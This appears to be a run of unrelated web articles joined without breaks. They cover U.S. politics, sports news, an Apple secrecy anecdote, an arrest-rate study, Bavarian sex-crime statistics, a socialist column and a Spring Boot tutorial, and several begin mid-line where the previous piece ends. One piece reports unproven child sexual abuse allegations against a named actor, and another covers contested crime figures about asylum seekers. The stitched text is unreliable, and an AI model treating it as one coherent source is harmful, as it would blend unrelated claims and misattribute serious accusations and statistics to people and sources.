At least some of the lack of social accountability comes from the loss of continuity, not the loss of identity. If you participate in a discussion and are corrected as to a basic fact, or if you have a hole pointed out in your logic, you can simply ignore the conversation and create a serious, plausible sense that maybe you never saw it. It's like you posted your opinion on a corkboard at the supermarket and walked away. Even if you signed it with your real name, unless people were likely to run into you in real life, there wouldn't be much they can do.
In fact, the ones who do the most damage to the conversation, year in and year out, are largely unaffected by the popular vision of saying behind a mask what you would never dare to say in plain sight, because they are not embarrassed. They are proud. They are taking a stand, because they consider themselves enthusiasts.
Your favorite band sucks because it soaks up attention that could go to the following eight obscure bands no one ever heard of. Genre fiction sucks because what will happen to the literary fiction I love? Elvis sucks because the kids who like Elvis think my music isn't cool, and my music is really cool. Comic books suck because Hollywood makes nothing but comic book movies, and so I don't get the movies I want.
Their theories are legion, and they all can be restated as warped love: Damon Lindelof sucks because I loved Lost so much. Culture of today is going to hell because I love the culture of my youth so much. E-books suck because I love paper books so much, and my bookstore will go away, and where will I get my books, which I love?
In fact, almost all of the People You Meet Making A Big Fuss Over Nothing In The Comments love something, or believe they do, that brings them there. That they love it is the most important thing about them, and that you can't possibly understand them is the second most important. Just as surely as some people take to the Internet to feel understood, others take to it to feel misunderstood — to feel bullied so they can have the thrill of fighting back. Robbed of the opportunity to embrace a more traditional rebellious identity through the deployment of a leather jacket and a cigarette, they get their cachet from finding the most cutting, the most withering, the most plus-one-able thing they can possibly say to people who like Coldplay. Not because they hate Coldplay, man. Because they love music.
We seem at times to be hardening, so that everything is either the best or the worst, either a masterpiece or a sham. If something is popular, it's either great or totally overrated. If it's unpopular, it's either terrible or it got screwed. Witness the rise of headlines that read "This Lunchbag Hack Will Change Your Life," or "This Is The Greatest Smackdown Ever," or "This Squirrel Wins The Internet." (There is certainly a nonzero chance that one day, someone may win the Internet. There is no chance it will be a squirrel.)
The out-loud Internet is a place where nuance goes to be devoured. A piece of film criticism can go into great detail about influences and art, which elements work and which don't, what the thing is accomplishing versus what it's aiming for. And it will find itself at the point of a bayonet held by someone who comments, "Uh, so just tell us: did you like it or not?" These are presumably people who wish Sherlock Holmes were a series of knock-knock jokes. ("Knock-knock." "Who's there?" "The husband did it.")
The irony is that we are being hardened by our enthusiasms at precisely the time when we need to do the opposite in order to take advantage of all they have to offer. We are hollering when we would benefit from shutting the hell up and seeing what happens.
Anyone honest will tell you that nobody really knows what the models are going forward. We pray that the things we love — movie theaters, libraries, museums — will be healthy, but nobody knows. Nobody knew whether Louis C.K. could sell a standup special directly to fans for $5 and simply ask people not to steal it. And when it worked, nobody knew how many other people could do it. Nobody knows now. Maybe it's not many. Maybe it's a lot.
The one thing you can say about the Age of Enthusiasm with the most certainty is that under the best-case scenarios, we all have to work harder. The best-case scenarios are about replacing passivity with passion — more hunting and less gathering. It does us no good for great things to be out there if we can't find them, and if we assume we're going to replace broadcast-type, risk-averse channels with deep dives that serve our true and specific tastes, that means risk, and that means trying things, and that means not everything being to your taste, and that means not declaring that you demand your five years back when you don't like the finale.
You want to eliminate risk? Think like Hollywood. Only see things about which you have "preawareness." Watch more of the things you already like. Watch the sequel. Watch the other sequel. Watch the rip-off. Be that kind of enthusiast. Be the kind of enthusiast that uses enthusiasm as a shield against the possibility of disappointment.
But there is a better way forward. Fall in love with things. Try things; dislike some of them. Love people who love things you can't imagine loving. Be thirsty and brave. Accept that if narrowcasting really is the future, considering what you don't love to be a threat to what you do is a fool's errand that will exhaust you and require you to police the joys of others in a way that will distract you from your own.
Far from being the disaffected, disconnected people we're often accused of having become, we are in fact awash in things we chose specifically and talk about and share — that song on the iPod, that show to binge-watch, that person to follow on Twitter. We are less beholden to information spigots turned on by habit than we've ever been. We have the option of becoming full-time enthusiasts. Heaven help us, it's going to be great and terrible.I’ve been asked to post about some upcoming talks in Nanaimo with archaeological interest. Below I list the talks, which are all co-sponsored to one degree or another between VIU and the Nanaimo ASBC chapter. The linked posters below give you more information about parking, times, room numbers, abstracts, bios, etc. All these talks are free and open to the public. For further information then contact mail@asbcnanaimo.ca.
I know many of you are stuck in other lovely places in the world and can’t make it, but for those more local then the details follow.
First up – in just a day or two – is Morley Eldridge of Millennia Research, speaking on his cool uses of digital technology in site recording and excavation. This is really cool stuff and probably the way of the future for at least some scales of archaeological research. There’s sneak preview of some of the new methods on the Millennia Blog.
Lecture: A New Methodology for Archaeological Excavation: Mitigative Excavation of GbTo-13 and GbTo-54, Prince Rupert.Is the Mainstream Media Finally Waking Up?
Donald Trump has been teasing a "major announcement" since Thursday. His campaign issued a statement Thursday night making clear his "announcement" would be stating President Obama is an America citizen, five years after coming to national attention as the leader of the birther movement.
Trump held his "major announcement" at his brand new Washington, D.C. hotel. It was the hotel's first public event, its christening, and a stain that will forever live in that building.
So what happened?
For 28 minutes and 27 seconds, all three major news networks, MSNBC, CNN, Fox News, plus CBS News online, and possibly others, ran, almost entirely uninterrupted, speaker after speaker after speaker - all military veterans - announcing their support for Donald Trump. That was followed by Donald Trump taking to the podium for 33 seconds, and making this statement:
"Hillary Clinton and her campaign of 2008 started the birther controversy. I finished it. President Barack Obama was born in the United States. Period."
The first two sentences are lies. The third are facts that should never have been open for discussion.
The mainstream media was played. Big time, and they know it.
And they're mad.
Trump used them for a 29 minute ad for both his hotel and his campaign.
What did the pool reporters do?
A source says Trump broadcast pool just erased tape of his tour of the hotel in protest of bait-and-switch w no editorial access. — Maggie Haberman (@maggieNYT) September 16, 2016
That's not all.
CNN anchor called the spectacle a "political Rickroll." A Rickroll is a bait-and-switch.
"It's hard to imagine this as anything other than a political Rickroll," Tapper told his audience. "We were told that this was going to be Donald Trump addressing something that his top campaign advisers, many people in the Republican National Committee want him to address, and clear up, and then stop talking about."
Tapper said Trump has been "trafficking" in a "discredited lie" for "more than half a decade."
"It was very clever on one level," Tapper added. "On another level, it does speak to the integrity of the Trump campaign."
Calling it a "dog-and-pony show," CBS News' Major Garrett said it was "all staged to bring more attention to this brand new hotel."
"This was a dog and pony show for the Trump hotel," says @MajorCBS on Trump's announcement https://t.co/ppNBqBQML9 pic.twitter.com/nKO3eBGEB1 — CBS News (@CBSNews) September 16, 2016
With 53 days to go, not a smart move to anger the press.
RELATED STORIES:
Trump Campaign Issues Inane Press Release: Trump Believes Obama 'Was Born in the United States'
7 of Donald Trump's Own Tweets and Comments Prove He Is Trying to Rewrite His Nasty Birther History
WATCH: Bernie Sanders Slams Trump's New Birther Revelation: 'This Is Pathetic'
See a mistake? Email corrections to: [email protected]"An Audience with Charlie Sheen" at The Theatre Royal Drury Lane, interviewed by Piers Morgan Featuring: Charlie Sheen Where: London, United Kingdom When: 19 Jun 2016 Credit: WENN.com
WASHINGTON (Sinclair Broadcast Group) -- Charlie Sheen has been accused of raping actor Corey Haim when he was 13 years old while filming the 1986 movie "Lucas."
Haim, who is now deceased, reportedly told other people about the incident including former actor Dominick Brascia.
"Haim told me he had sex with Sheen when they filmed 'Lucas,'" Brascia told the National Enquirer. "He told me they smoked pot and had sex. He said they had anal sex. Haim said after it happened Sheen became very cold and rejected him. When Corey wanted to fool around again, Charlie was not interested."
Corey Feldman also alluded to the situation in his memoir.
"At some point during the filming (Haim) explained an adult male convinced him it was perfectly normal for older men and younger boys in the business to have sexual relations, that it was 'what all guys do,'" Feldman said.
Another woman who was on set of "Lucas" also claims she was inappropriately kissed by Sheen when she was 17 years old.
"I talked with him for a long time and kissed him," the woman who is now 49 years old said. "I was in a bathroom with him at one point. He tried to get me to have sex."
A woman, who was 18 years old at the time, said Sheen accosted her on her birthday.
"He found out about (my birthday) and he grabbed me and gave me this elaborate kiss," she said.
Charlie Sheen's representative tells The Hollywood Reporter that the allegations aren't true saying, "Charlie Sheen categorically denies these allegations."Kopitar contract to be done “shortly,” via hockey ops
The Los Angeles Kings are close to finalizing a contract extension with center Anze Kopitar, with one source in hockey operations telling LA Kings Insider that “it will be done shortly.”
According to TSN’s Bob McKenzie, the contract will be for eight years at $10-million per.
Anze Kopitar's 8-year, $80M ($10M AAV) contract with LAK is, finally, in final stages of paperwork. So not officially "done" but very close. — Bob McKenzie (@TSNBobMcKenzie) January 13, 2016
Usually, in period of time when contract is getting "papered" nothing happens to jeopardize it, but Kopi deal has been drawn out/difficult. — Bob McKenzie (@TSNBobMcKenzie) January 13, 2016
Hence the emphasis, for now, on "not done" just yet. — Bob McKenzie (@TSNBobMcKenzie) January 13, 2016
And, via ESPN’s Craig Custance, the finalization of the contract is tied to a particular detail.
Final touches on Kopitar contract include details of NMC, still being worked out. — Craig Custance (@CraigCustance) January 13, 2016
While the AAV is a touch higher than had previously been targeted, this is all coming as expected, and as had been noted on this site and in my appearances on radio and television, January was the expected month that the contract would be wrapped up, even if the contract hasn’t yet been finalized as of this writing. Though there appeared to have been a hiccup in negotiations earlier this week, there was apparently progress made in the last 24 hours, according to TSN’s Darren Dreger, who noted on Twitter that “something changed last night.”
I’ve also noted in media hits that should the Kings want to extend Milan Lucic in addition to Kopitar, Los Angeles will have to shed one of its larger contracts. That’s more likely to be a June move than a January or February move, however.
Should the Kopitar deal be finalized, I’ll update the team’s financials on this site. Here’s a preview:
Using current roster, Kopitar at 8 yrs $10M AAV would put #Kings at estimated $64.26M with 18 players under contract https://t.co/Wh0Gkh8ww4 — General Fanager (@generalfanager) January 13, 2016
In addition to Lucic and Kopitar, Luke Schenn, Trevor Lewis, Christian Ehrhoff, Jamie McBain and Jhonas Enroth are currently eligible to become free agents on July 1, while Brayden McNabb and Derek Forbort are due to become restricted free agents.
More to come as it develops…Everton player Marouane Fellaini believes English referees are 'frightened' of him and has pointed to his unmistakable hairstyle as the cause of concern.
Fellaini's 6' 4'' frame, topped by his thick afro, marks the Belgian as a focal point on the pitch for his team-mates; the 25-year-old is the club's leading scorer with 11 goals this season.
But standing out in a crowd has its disadvantages and Fellaini is concerned his physical proportions have made him a target for over-zealous referees.
Fellaini's last tangle with officials - a headbutt on Stoke's Ryan Shawcross - resulted in the midfielder invoking a three-match ban.
"During my first season at Everton I got 12 bookings," Fellaini told The Sun. "At the end of it a delegation of referees visited the club to explain why I had got so many yellow cards.
"But they ended up admitting some of the bookings were unduly harsh. I ask myself why they get given to me.
"No doubt it's because I am not someone who can pass by unnoticed. I am tall, and my hairstyle is easily recognised. I know how to give defenders problems. I can see them keeping a special eye on me - they are frightened of me."
Fellaini also finds it hard to stay inconspicuous off the field, with football fans, just like match referees, drawn to the towering midfielder. And, just like referees, not all of the fans' attention has Fellaini smiling.
"I like the fact that Everton fans wear wigs in my honour. It shows they identify with me, and it is pleasing to be recognised," he said. "(But) the English are crazy about the game. It's good, but it exceeds the limits at times.
"For example, a guy stopped me in the street to show me the Everton tattoos on his back. And sometimes there is trouble with fans of other clubs if you go out in the evening.
"On one occasion a Liverpool fan had nothing better to do than pull my hair - once, twice, five times - and it got annoying. I felt it best to go home in order to avoid any trouble."
And Fellaini admitted his penchanct for attracting trouble has taken its toll, both personally and professionally.
"I found the (Shawcross) ban hard to take. I felt disgusted and I cut myself off from the world for 10 days," he admitted. "I stopped reading the papers and watching football on TV and retreated into a bubble.
"I am not angry with Shawcross. He tried to stop me, and was just doing his job. But his hands were all over me the whole time. However, nobody said a word against him.
"He is English after all, so no problem! Afterwards I couldn't even go back to Belgium for Christmas. David Moyes made me train on my own as I had penalised the rest of the team. Luckily for me Everton won two of the three games while I was suspended."The U.S. Senate late Tuesday confirmed the nomination of Richard Cordray as head of the Consumer Financial Protection Bureau (CFPB). On a 66-34 vote, Cordray became the first Director of the consumer financial watchdog agency created by the Dodd–Frank Wall Street Reform and Consumer Protection Act of 2010.
The Senate avoided a self-inflicted meltdown late Monday night when the two political parties reached a deal to allow votes on several stalled executive nominations, including Cordray. His confirmation was the first in an expected series of votes to approve appointments long-stalled by Republicans seeking structural changes to some regulatory agencies.
In deference to Senate Majority Leader Harry Reid’s (D-Nev.) threats to change Senate rules to prohibit the use of filibusters to block nominees — the so-called “nuclear option” — Republicans allowed the vote to take place in exchange for no alteration of parliamentary rules. Two nominees to the National Labor Relations Board also will be withdrawn and replaced with new appointees.
Senate Republicans have been blocking votes on seven of President Obama’s nominees to various appointed positions using the filibuster. But the block on Cordray was the most divisive. Senators voted 71-29 on Tuesday to end the filibuster on Cordray, paving the way for the official confirmation vote hours later.
With official Senate approval of a Director, the CFPB’s full regulatory mandate can be executed. According to the law which created it, the CFPB had to have a director in place before many of its powers could be tapped. Although Cordray has been Director for nearly a year and a half, his lack of Senate approval hung over the operations of the watchdog. Many of the CFPB’s detractors hoped that preventing a confirmation would pave the way to unwind the agency.
“With Director Cordray’s confirmation, we will be able to say loudly, clearly, and with confidence: the consumer agency is the law of the land and is here to stay,” said Sen. Elizabeth Warren (D-Mass.), who created and then championed the CFPB more than three years ago. “We fought hard for the agency, and we proved that big change is still possible in Washington.”
The CFPB Wednesday posted a video message on its blog from Cordray addressing the confirmation:
Almost immediately following the news of the deal, Republicans in the Senate moved to continue their attempts to fix what they say are fundamental structural issues with the CFPB. Sen. Rob Portman (R-Ohio) announced his intention to bring legislation creating an official inspector general (IG)for the CFPB.
“Given the CFPB’s insulation from congressional oversight, it is critical that it have a dedicated, Senate-confirmed internal watchdog – just as the IRS Restructuring and Reform Act of 1998 created an independent IG for tax administration to ensure robust oversight,” said Portman. “Given the important role we’ve seen an IG play in the IRS scandal, creating an independent IG dedicated to this large bureaucracy with vast powers is a commonsense step we can take to ensure greater transparency and accountability at the CFPB. I hope the White House and Rich join me in pushing for this commonsense, bipartisan reform.”
While the CFPB does not currently have a dedicated inspector general, the IG responsible for the Federal Reserve does have domain over the Bureau’s activities. The CFPB is an independent unit operating within and funded by the Fed.
Cordray was nominated in July 2011 to head the CFPB. But Senate Republicans blocked a vote on his confirmation for months as they tried to change the structure of the new agency to include a five-member commission at the top of the CFPB — similar to the power structure at the Federal Trade Commission — and more Congressional oversight. Obama used his recess appointment authority to install Cordray shortly after the 2012 new year while the Senate was in recess.
But the move led to legal challenges, as Republicans insist they were not in recess. They had devised a plan to call pro forma sessions of Congress every third day specifically to block Cordray’s appointment. There is at least one ongoing lawsuit challenging Cordray’s appointment and authority to lead the CFPB.
One court case on a similar move by Obama has been decided, however. The U.S. Court of Appeals for the D.C. Circuit ruled in February that the President’s other recess appointments at the same time, to the National Labor Relations Board (NLRB), were unconstitutional. Those nominees were the ones withdrawn in the deal reached Monday.
Obama re-nominated Cordray earlier this year. Shortly thereafter, Senate Republicans ramped up their efforts to stall the nomination and directly address the CFPB authority by introducing bills and sending a letter to President Obama.Club unveil their new away kit for the upcoming 2015/16 campaign
Take it away lads. Bolton Wanderers are delighted to reveal the club’s 2015/16 away kit, manufactured by Macron.
Utilising their MPerformance System fabric, Macron have once again produced a unique and tailor-made design for Bolton Wanderers.
The black shirt, shorts and socks all feature a gold trim, whilst the front of the shirt features the club’s crest, Macron logo and monotone branding of new shirt sponsors, ROK Mobile.
The shirt also features shoulder and side panel micromesh inserts, making for maximum breathability.
The new away kit will be on sale at Bolton Central during the club’s Family Fun Day on Sunday 2 August. Orders can also be placed over the phone on 0844 8712932 or online at bwfcdirect.co.uk
SEE ALSO…
Family Fun Day details confirmed
Bolton Wanderers reveal 2015/16 home kitMarch 16, 2012
The task of socialists is to organize with people whose ideas are still changing.
ONE OF the most important questions for socialists is how to relate their ideas to a larger audience and win wider layers of people to socialism.
The question for revolutionaries--that is, for those whom experience has already taught the need to overturn capitalism and replace it with a more equitable society--is how to relate to the much larger forces that are resisting, but have yet to embrace a socialist alternative.
None of this matters for those who think that revolution is made by a select minority in isolation from or on behalf of the masses, or even against their will; or those who are content to struggle for immediate gains, but for whom socialism is only a mildly pleasant utopian dream.
Marxists, on the other hand, are committed to the proposition that socialism can only be achieved by the actions of millions of workers, through their own struggles.
Propaganda--putting out socialist ideas to a wider audience--is a vitally important part of the equation. A working-class movement that isn't aware of its own history and traditions, of its past mistakes and victories, and whose knowledge never moves beyond immediate experience, will be unable to accomplish such a monumental task as a socialist revolution.
Columnist: Paul D’Amato Paul D'Amato is managing editor of the International Socialist Review and author of The Meaning of Marxism, a lively and accessible introduction to the ideas of Karl Marx and the tradition he founded. Paul can be contacted at [email protected].
But only a very static conception of how consciousness changes could accept that propaganda is sufficient, in and of itself, to spread socialist ideas. People are not empty vessels waiting to be filled; they possess views of the world that are contradictory, some that reinforce the status quo (sexist, anti-immigrant, for example), and others that go against it (we can achieve a better life only if we unite).
Struggle is the most effective way to change consciousness. But consciousness doesn't change uniformly. Some radicalize faster than others. There are sections of the working class that are in the vanguard, some that are in the rear, and others in between--and all are in constantly shifting patterns.
The tasks of socialist militants are to engage in struggle alongside those whose consciousness is shifting, and use the experience of struggle to convince them to adopt a fully consistent, working-class, socialist point of view.
Part of this same process involves winning the newly converted not to run ahead of events and assume that everyone else is, or should be, at the same state of political realization as they are.
A radicalizing minority, in any struggle or organization, whether it be a trade union or an antiwar committee, has a duty to make connections to wider layers of people who are not as "left" as they are--rather than turn from them because they are "insufficiently" radical.
WHEN LENIN wrote his pamphlet Left-Wing Communism, he addressed himself to a similar problem--young socialist radicals, in Germany in particular, who felt that socialists could dispense with work in trade unions or elections because these forms of struggle were "obsolete."
The "ultralefts," as Lenin called them, forgot that while trade unions and parliaments were "obsolete" for them, they were not obsolete for the majority of the working class.
Lenin pointed out to these radicals that they were mistaking their desire for actual fact, when what they should have been doing is working inside the trade unions and the German parliament in order to win workers over to the revolutionary standpoint through their own experience.
Leon Trotsky developed a related theme in his 1922 article On the United Front in relationship to the question of the fight for reforms. He wrote:
The task of the communist party is to lead the proletarian revolution. In order to summon the proletariat for the direct conquest of power and to achieve it, the communist party must base itself on the overwhelming majority of the working class. So long as it does not hold this majority, the party must fight to win it.
Winning over the majority can't be achieved, Trotsky argued, if the communists turned their backs on non-revolutionary workers and the reformist organizations they adhere to--or if the communists relied solely on propaganda.
The party must participate directly in the struggle for immediate reforms and for the defense of the interests of the working class as a whole; indeed, it must propose united fronts, joint initiatives with reformist organizations to fight for specific, limited goals.
Why? Because, Trotsky wrote, "the greater is the mass drawn into the movement, the higher its self-confidence rises, all the more self-confident will that mass movement be and all the more resolutely will it be capable of marching forward, however modest may be the initial slogans of struggle."
The reformists always dread the potential for mass struggle to "get out of hand," whereas socialists welcome every mass initiative and want it to go as far as possible. Such struggles will tend therefore to radicalize the working class, creating "much more favorable conditions for the slogans, methods of struggle and, in general, the leading role of the communist party."
Trotsky summarized the united front this way:
Unity of front...presupposes our readiness, within certain limits and on specific issues, to correlate in practice our actions with those of reformist organizations, to the extent to which the latter still express today the will of important sections of the embattled proletariat.
Yet the united front did not mean simply mean "getting along" with reformists. Wrote Trotsky:
We participate in a united front, but do not for a single moment become dissolved in it. We function in the united front as an independent detachment. It is precisely in the course of struggle that the broad masses must learn that we fight better than the others, that we see more clearly than the others, that we are more audacious and resolute."
First published in the September 14, 2007, issue of Socialist Worker.John Stones was stretchered from the field in stoppage time at Old Trafford
Everton and England defender John Stones may be out for the rest of 2014 after it was confirmed that he needs surgery on an ankle injury.
The 20-year-old damaged ligaments in the 2-1 defeat by Manchester United and is set to miss between 10 and 14 weeks.
Stones was forced to pull out of Roy Hodgson's squad to face San Marino and Estonia in Euro 2016 qualification.
But team-mate Ross Barkley is expected to train again next week, after two months out with a knee ligament injury.
"It's a clear injury, not a complicated injury," Everton boss Roberto Martinez said of Stones.
"It's a little bit of a setback but in John's case we were very worried because those injuries can become a little bit difficult to treat.
The games Stones may miss Premier League: 18 Oct: Aston Villa (h), 26 Oct: Burnley (a), 1 Nov: Swansea (h), 9 Nov: Sunderland (a), 22 Nov: West Ham (h), 30 Nov: Tottenham (a), 3 Dec: Hull (h), 6 Dec: Manchester City (a), 14 Dec: QPR (h), 20 Dec: Southampton (a), |
caste-ist parties but it is more a challenge to the Muslim voters of the state to prove whether they want the return of Jinnah politics or a democratic politics. The only remedy which lies with the Muslims of Bihar is to isolate the Islamist politics of Owaisi
*The author can be reached in E-mail [email protected]During last week's iPhone leak saga, Steve Wozniak, co-founder of Apple, reached out to us with a story: The morning of the iPad launch, an engineer showed Woz an iPad for two minutes. For this he was fired.
It's a story that paints Apple as many people already see the company: ruthlessly secretive, and even vindictive. It also sheds some light on the story of Gray Powell, an Apple engineer whose breach of secrecy was at once less intentional, more severe and infinitely more public—until now. In the words of Woz:
How Apple Lost the iPhone 4 The Gourmet Haus Staudt. A nice place to enjoy good German lagers. And if you are an Apple Software … Read more Read
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***
I don't know anything for real about this iPhone issue, from Apple's perspective.
Was the engineer not allowed to have this iPhone out of the secure areas? I don't know.
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Was he/she not allowed to use this iPhone outside and be seen with it? I don't know.
It appears that no features, nothing that made it a new iPhone were shown to others, thankfully, by the engineer. The later analysis by Gizmodo has some interesting points but none that are total shockers.
I believe (and have heard) that the engineer who lost his iPhone 4G has not been fired. Perhaps the case was examined on an individual basis and determined not to have been one of violating Apple policy too much or not one where Apple was injured sufficiently. I'm glad for now. I hate to see people lose their jobs ever.
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But I can tell you that the test engineer who showed me an iPad after midnight, for 2 minutes, during the iPad launch was indeed fired. I opted to spend 2 minutes with Numbers on this iPad, trying some stunts I'd seen on Apple's website demo video. I was not told that it was a 3G model and I had no way to know that. I was told that this engineer had to wait until midnight to show it outside of Apple's secure area. And I'm an Apple employee who he was showing it to. My guess is that he was allowed to take the iPad outside of the secure area but still not supposed to show it.
I myself never prod Apple friends into saying things about unreleased Apple products. I'm not in the group where early knowledge equates to value. I don't play the rumor mill game. So I had little interest in seeing this iPad beyond a couple of minutes.
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In my opinion, Apple was not hurt by my being shown this iPad. And if the employee who showed it to me believed that he could show it after April 3, then that's another factor.
I did describe this to Steve Jobs the night of the iPad introduction and he said "so it's no big deal." We talked about family things after that for a short while. But that engineer did get fired. I'm sure that Apple HR told the engineer that it was because everyone in that same situation gets fired. Does that jive with this iPhone situation? What am I missing here?
Product secrecy is good for Apple and should be strictly enforced, but maybe 10% of niceness and 90% of strictness is OK too.
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UPDATE: Woz has been gracious enough to hang around the comments. Of the engineer (A.J), he says:
I never knew him before. He resembled myself and Steve Jobs when we were that age, and my younger son who programs for NASA. He's a kind of person I would always enjoy talking with. A.J. said that he had an email allowing his team to use the iPad outside of secure areas on April 3 (after midnight, which A.J. waited for). I was surprised but he had an email. If I'd known it was a 3G model, which I didn't, I probably would have saved his job by telling him he can't show it. And he only showed it to me (and a few people who read Gizmodo).
***
Editor's Note: Does it jibe? It's hard to say. The mystery engineer and Gray Powell both made mistakes, but neither employee meant any harm. That much is clear. And looking at Steve Wozniak's story, it seems that Gray Powell (evidently) wasn't fired because he didn't "leak" the phone, per se. He had no malice, or even intent. He didn't break his NDA. It was just a mistake.
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On the other hand, Apple engineers who leak information and break their NDAs do it intentionally. They filter the information knowing that they are breaking their NDAs, betraying the confidence of their employer. That's probably why this guy got fired on the spot.
It's Steve Jobs' honor code. Like Michael Corleone's: A mistake can be forgiven, but he would kill his own brother for betraying the family. It doesn't seem to matter that the act was harmless. More than leniency and humanity, respect for secrecy is sewn deeply into Apple's culture.
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You want to be able to trust your employees, especially at a company for which surprise is a sales tool. But without Steve Wozniak, there would be no iPad. There would be no Apple as we know it today. A culture where you can't show someone like that a new product, hours before it was to be unveiled, isn't a culture of innovation—it's a culture of fear. —JHA new study released Monday found that nearly half of all black males and almost 40 percent of white males are arrested by the time they are 23-years old.
The analysis of national data from 1997 to 2008 of teenagers and young adults’ arrest histories — excluding traffic violations — were published Monday in the journal of Crime & Delinquency.
While there was variation in the rate of arrest between black and white men, there was little racial variation in the arrest rates among women of different races.
“A problem is that many males — especially black males — are navigating the transition from youth to adulthood with the baggage and difficulties from contact with the criminal justice system,” Robert Brame, the study’s lead author and a criminology professor at the University of South Carolina, said in a statement.
Other key findings from the study, according to the press release include:
– By age 18, 30 percent of black males, 26 percent of Hispanic males and 22 percent of white males have been arrested. -By age 23, 49 percent of black males, 44 percent of Hispanic males and 38 percent of white males have been arrested. -While the prevalence of arrest increased for females from age 18 to 23, the variation between races was slight. At age 18, arrest rates were 12 percent for white females and 11.8 percent and 11.9 percent for Hispanic and black females, respectively. By age 23, arrest rates were 20 percent for white females and 18 percent and 16 percent for Hispanic and black females, respectively.
In addition to Brame, the University at Albany’s Shawn Bushway, Ray Paternoster of the University of Maryland and Michael Turner at the University of North Carolina at Charlotte worked on the study.
According to Brame, the study offered the first contemporary findings on how the risk of arrest varies across race and gender.
(H/T HuffPo)
Follow Caroline on Twitter"There’s no denying that one of the reasons there’s so much energy at these events is that you have an aspiring political leader inflaming tensions," White House Press Secretary Josh Earnest (pictured March 7) said. | AP Photo White House knocks GOP leaders for not standing up to Trump
White House press secretary Josh Earnest criticized Republican leaders for not standing up to Donald Trump for encouraging violence at campaign rallies.
“We continue to see prominent Republican after prominent Republican pledge support for the front-runner... it makes it hard to take serious their handwringing over Trump's divisive rhetoric,” Earnest said during Monday’s White House news briefing. He added, "At some point, someone is going to have to step up and show some leadership."
Trump has come under fire for the tone of his rallies, which have seen violent clashes between protesters and his supporters. He said on Sunday that he'll look into paying the legal fees of a man who was arrested for punching a protester at one of his rallies last week.
While Trump's rivals have said they'll stand behind the pledge they signed last year to back the eventual GOP nominee, some have started wavering. Marco Rubio on Saturday paused before responding to the question of whether he still promises to support the party’s nominee even if it’s Trump.
“I don’t know,” Rubio said. “I already talked about the fact that I think Hillary Clinton would be terrible for this country, but the fact that you’re even asking me that question. … I still at this moment intend to support the Republican nominee, but … it’s getting harder every day.”
John Kasich, campaigning in his home state of Ohio, also wavered. “It makes it extremely difficult,” he said.
Ted Cruz on Monday in Illinois said he would still support Trump if he secures the nomination, barring extreme circumstances. "If, for example, he were to go out on Fifth Avenue and shoot somebody, I would not be willing to support Donald Trump," he said.
House Speaker Paul Ryan on Monday called Trump’s rallies “very concerning” but also suggested protesters were partly to blame. “At the same time, I think the candidates need to take responsibility for the environment at their events,” he told WRJN, a local Wisconsin radio station, on Monday. “There is never an excuse for condoning violence, or even a culture that presupposes it.”
Earnest, however, said it's time for more people to reject Trump's dangerous influence.
"There’s no denying that one of the reasons there’s so much energy at these events is that you have an aspiring political leader inflaming tensions, appealing to people’s darker impulses and trying to capitalize on their anxieties to provide energy for his campaign,” Earnest said.Last Wednesday the Bavarian interior ministry released statistics that made for sobering reading.
In the first half of 2017 some 685 sex crimes were recorded in Bavaria, a rise of 48 percent on the same period in 2016. Of these crimes, 126 had suspects who had arrived in Germany as asylum seekers.
The figures showed that sex crimes with asylum seekers as suspects jumped by 91 percent in a year. While the large majority (71 percent) of suspects were Germans, people who had come to the country seeking asylum made up 11 percent of all suspects, a figure disproportionate to their number in the population.
SEE ALSO: 10 things to know about refugees and asylum in Germany
The statistics are for crimes against sexual self determination, which includes rape and sexual assault as well as exhibitionism, forced prostitution and the illegal distribution of pornographic material.
Writing in the Süddeutsche Zeitung on Wednesday, journalist Ulrike Heidenreich said that women who welcomed refugees into Germany in 2015 now have a very different attitude.
“When women meet large groups of male refugees today there is always a sense of being threatened,” she writes.
“They fear that the way they dress is sending the wrong signal. That is unacceptable. The freedom to dress and move how you want is non-negotiable.”
Heidenreich mentions several cases of sexual assault from the previous week in Bavaria, in each of which asylum seekers were suspects.
On Sunday two Afghan men were arrested over the rape of a teenager on her way back from school in Munich. In northern Bavaria three asylum seekers were arrested for sexually harassing a girl at a parish fair. In Rosenheim a jogger was reportedly raped by an asylum seeker. While six of seven men recently deported from Bavaria to Afghanistan had criminal records for sexual assault.
Blaming a crude understanding of the position of women in society among many young male refugees for the rash of assaults, Heidenreich writes that “the rights of women are just as important as those of refugees.”
But in the same newspaper Matthias Drobinski argues that the criminal statistics shouldn’t be taken at face value.
Pointing out that new laws were introduced after mass sexual assaults in Cologne at the beginning of 2016, which created a wider definition of a sex crime, Drobinski argues that more crimes were reported because more forms of harassment had become crimes.
He also criticizes the Bavarian interior ministry for initially reporting a 50 percent rise in rape, even though crimes against sexual self-determination is a much broader category.
Furthermore, he points out that the statistics from Bavaria don't necessarily reflect a nationwide phenomenon. North Rhine-Westphalia is the only other German state to have published similar figures. In the large west German state sexual assaults fell in the first half of 2017 in relation to the last six months of 2016.
“On the whole women are less likely to be the victim of sexual assault now than 20 years ago. The idea that women can’t walk alone on the streets anymore is objectively false,” Christian Walburg, a criminologist at the University of Münster told the SZ.
Over a million refugees have arrived in Germany since 2015, with two thirds of asylum seekers being male. At the same time one in four asylum seekers is between the ages of 18 and 30.
Experts argue that the demographic make up of Germany's asylum seeker population makes them particularly at risk of committing crime.Building an Application with Spring Boot
In this post, we will explore Building an Application with Spring Boot. We will cover different aspects of Spring Boot along with different options to build an application using Spring Boot.
1. Introduction
Spring Boot is an opinionated, convention over configuration. Spring Boot takes away most part of the project set up by taking an opinionated view of the Spring platform so that new and existing users can quickly get to the bits they need. Spring Boot makes it easy to create a Spring-powered enterprise application with minimum fuss.
2. Spring Boot Features
Spring Boot provides the following feature out of the box
It simplifies Spring dependencies by taking the opinionated view (we will discuss it in more details). Spring Boot provides a pre-configured set of technologies/framework to reduces error-prone configuration so we as a developer focused on building our business logic rather than thinking of project setup. You really don’t need those big XML configurations for your project. Embed Tomcat, Jetty or Undertow directly. Provide opinionated Maven POM to simplify your configuration
3. Creating Spring Boot Project
One of the main challenges to starting up a new project is the initial setup for the project. We need to take a call about the different directory structure and also need to make sure we are following all the industry standards. If you are using Maven, you might already use Maven startup artefact which helps us to do those initial setups more quickly.
Spring Initializr is another great tool to quickly start Spring Boot projects. Spring Initializr is a web application that generates Spring Boot projects. Keep in mind it will only generate project structure and not any code for you based on your preference ( Maven or Gradle ). If you are starting your project, my recommendation is to start with Spring Initializr.
There are multiple ways to use Spring Boot Initializr to generate project structure for you.
Using Spring Initializr Web Interface. Use Spring Boot CLI tool. Use your IDE
3.1 Using Spring Initializer Web Interface
